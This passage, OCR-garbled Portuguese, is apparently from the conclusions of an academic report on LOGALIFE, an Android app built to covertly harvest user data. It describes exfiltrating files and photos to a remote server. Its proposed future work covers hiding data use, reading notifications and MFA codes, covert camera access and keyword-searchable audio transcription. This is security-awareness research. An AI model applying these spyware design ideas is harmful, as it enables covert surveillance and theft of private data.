devolvidos pelo GPS foram sempre precisos. A explicacdo mais Obvia passa pela
evolucdo ndo s6 do hardware, mas também do software uma vez que os trabalhos

estudados foram realizados hé ja alguns anos.

Relativamente as informacdes do utilizador que a aplicacdo tinha como objetivo obter,
todas elas foram facilmente obtidas a excecdo do acesso ao microfone, quando o servigo
é iniciado remotamente. Contudo, é importante frisar que todas as informacdes recolhidas

necessitaram de cedéncia de permissées por parte do utilizador.

Um estudo [20] realizado nos Estados Unidos afirma que um utilizador tem em média
mais de 80 aplicacBes instaladas no seu smartphone. Dessas 80 aplica¢des, em media,
guantas requisitam permissfes? Quantas realmente precisam das permissoes

requisitadas? A resposta a ambas as questfes é muito subjetiva uma vez que depende de
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utilizador para utilizador e de aplicacao para aplicacdo, mas torna-se bastante preocupante

fazer uma retrospetiva ao nimero de aplicacdes a que cedemos permissdes [21].
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Conclusodes

Os objetivos do projeto LOGALIFE passavam pelo desenvolvimento de uma aplicagéo
mobile Android que obtivesse 0 méximo de informacdes do utilizador sem que este se
apercebesse, por outras palavras, o objetivo principal passava por desenvolver a aplicagéo
pensando como um programador “mal-intencionado” e perceber que informagdes eram

possiveis de obter com e sem a cedéncia de permissdes do utilizador.

O foco do desenvolvimento do projeto centrou-se muito mais em fazer uma analise a
facilidade/dificuldade de obtencéo dos dados do utilizador e menos por desenvolver uma
aplicacdo “atraente”. Claro que se um programador “mal-intencionado” quisesse de facto
lancar a aplicacdo no mercado, por exemplo através da Play Store, teria de ter a
preocupacdo de atribuir um contexto a aplicacdo, desenvolvendo por exemplo um jogo
ou uma aplicacdo que necessitasse de certas permissdes, desta forma os utilizadores da

aplicagéo hesitariam menos em ceder as permissdes requisitadas.

O desenvolvimento da aplicagdo permitiu responder as seguintes questdes que foram

levantadas na introducéo:

e Que informagdes sdo possiveis recolher de um utilizador Android?

e Com que facilidade € possivel recolher informagdes pessoais?

e Que informacgdes podem ser recolhidas sem a permissdo ou conhecimento do
utilizador?

e Quais as dificuldades impostas pela Google para a obtencdo de informacoes

privadas por um utilizador mal-intencionado?

Apbs o desenvolvimento deste projeto, considero que, onde a Google fez um maior
investimento em dificultar a obtencédo de informacéo foi no acesso a localizag¢éo e tambem
ao microfone. Relativamente a obtencéo da informacéo foi conseguido atraves da criagéo
de diferentes permissdes que especificam por exemplo se 0 acesso a localizacao seré feito
em background, se este seréa feito de forma precisa ou ndao e também avisando o utilizador
quando as aplica¢bes acedem & localizacdo em segundo plano. No caso do microfone o0s
esforgos da Google sdo visiveis ao ndo permitir 0 acesso ao microfone sem que a

aplicagéo esteja a ser executada.
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O tdpico que se torna mais preocupante é o facto de que a partir do momento em que o
utilizador cede a permisséo de acesso aos ficheiros a aplicacdo pode aceder a todas as
suas fotografias e ficheiros e envia-los para um servidor remoto. Esta € uma via sem
retorno, uma vez que a partir do momento em que as fotos/ficheiros estdo na posse do

programador “mal-intencionado” ja ndo ha nada que o utilizador possa fazer.

De uma forma geral, todos os objetivos propostos para o desenvolvimento do projeto
LOGALIFE foram alcancados no prazo definido. A elaboracdo do trabalho permitiu
alargar os conhecimentos nas tecnologias utilizadas, nomeadamente em Java (relacionado
com o desenvolvimento da aplicagio mobile) e Vue.js (relacionado com o

desenvolvimento da aplicagdo WEB).

Um ponto de destaque relativo ao desenvolvimento da aplicacdo maével é o facto de o
cddigo  desenvolvido ter sido  publicado num  repositério  publico:
https://github.com/MiguelMasca/LOGALIFE/, recorrendo ao Github®3. Com esta deciséo

possibilita-se a partilha do conhecimento adquirido como um contributo efetivo para a

comunidade.

Em suma, a realizacdo deste projeto permitiu alargar os conhecimentos relativos ao
desenvolvimento em Android, responder a algumas das questdes relativas a seguranca
dos dados dos utilizadores no seu smartphone e principalmente reforcar a ideia de que a
cedéncia de permissdes no contexto das aplicacdes Android deve ser reduzida ao minimo

possivel.

5.1. Trabalho Futuro

Durante o desenvolvimento do projeto foram surgindo algumas ideias consideradas
relevantes para o projeto, algumas delas foram implementadas enquanto outras, por uma
questdo de priorizar as funcionalidades mais relevantes, foram deixadas de parte com a

possibilidade de virem a ser implementadas mais tarde.

Um dos pontos que foi mencionado vérias vezes durante o desenvolvimento da aplicagdo

LOGALIFE e que serd interessante de desenvolver como trabalho futuro foi a

33 https://github.com/
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possibilidade de apenas enviar os dados que nao estdo ja armazenados na base de dados.
Este requisito ndo funcional podera ser implementado com a utilizagio de hashes®*. Uma
vantagem desta funcionalidade é o facto de reduzir a quantidade de dados enviados pela
aplicacdo, e desta forma é possivel evitar o indesejado levantar de red flags caso o

utilizador controle a quantidade de dados mdveis utilizados por cada aplicacéo.

Adicionalmente, seria proveitoso implementar uma funcionalidade que acedesse as
notificagdes do utilizador, desta forma, e caso fosse possivel, a aplicagdo poderia ter

acesso a informagéo como por exemplo:

e 0 contetido das mensagens do utilizador — o que podera ser bastante perigoso para
0 mesmo quando este recebe informacdes sensiveis como por exemplo codigos de
autenticacdo de multiplos fatores;

e 0 conteldo das notificacGes de todas restantes as aplicagdes.

Esta funcionalidade devera ser possivel de implementar uma vez que existem aplicacdes,
como é o caso da Unseen®, que leem as notificacdes das aplicacdes de comunicagio e as
mostram ao utilizador, no caso desta aplicacdo o objetivo é que o utilizador leia as

mensagens sem gue 0s remetentes das mesmas o saibam.

De forma a complementar a funcionalidade de gravacdo de &udio, recorrendo ao

microfone, seria interessante:

e Perceber se é possivel implementar uma funcionalidade semelhante a
implementada, mas neste caso seria explorada a possibilidade de aceder a
camara do smartphone sem que o utilizador do mesmo se aperceba — este
ponto dificilmente sera possivel uma vez que tudo leve a crer que a
abordagem da Google de ndo permitir o acesso ao microfone como a

aplicacdo em segundo plano seja a mesma para a camara.

34 https://pt.wikipedia.org/wiki/Fun%C3%A7%C3%A30 hash

3 https://play.google.com/store/apps/details?id=com.tda.unseen&hl=pt_PT&gl=US
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e Implementar uma funcionalidade de speech to text (STT)® de forma que seja

possivel transformar as gravacoes audio em texto. Ao realizar esta conversao
sera possivel pesquisar por keywords sem que o programador “mal-

intencionado” tenha de ouvir todas as gravagdes audio.

36 https://en.wikipedia.org/wiki/Speech recognition
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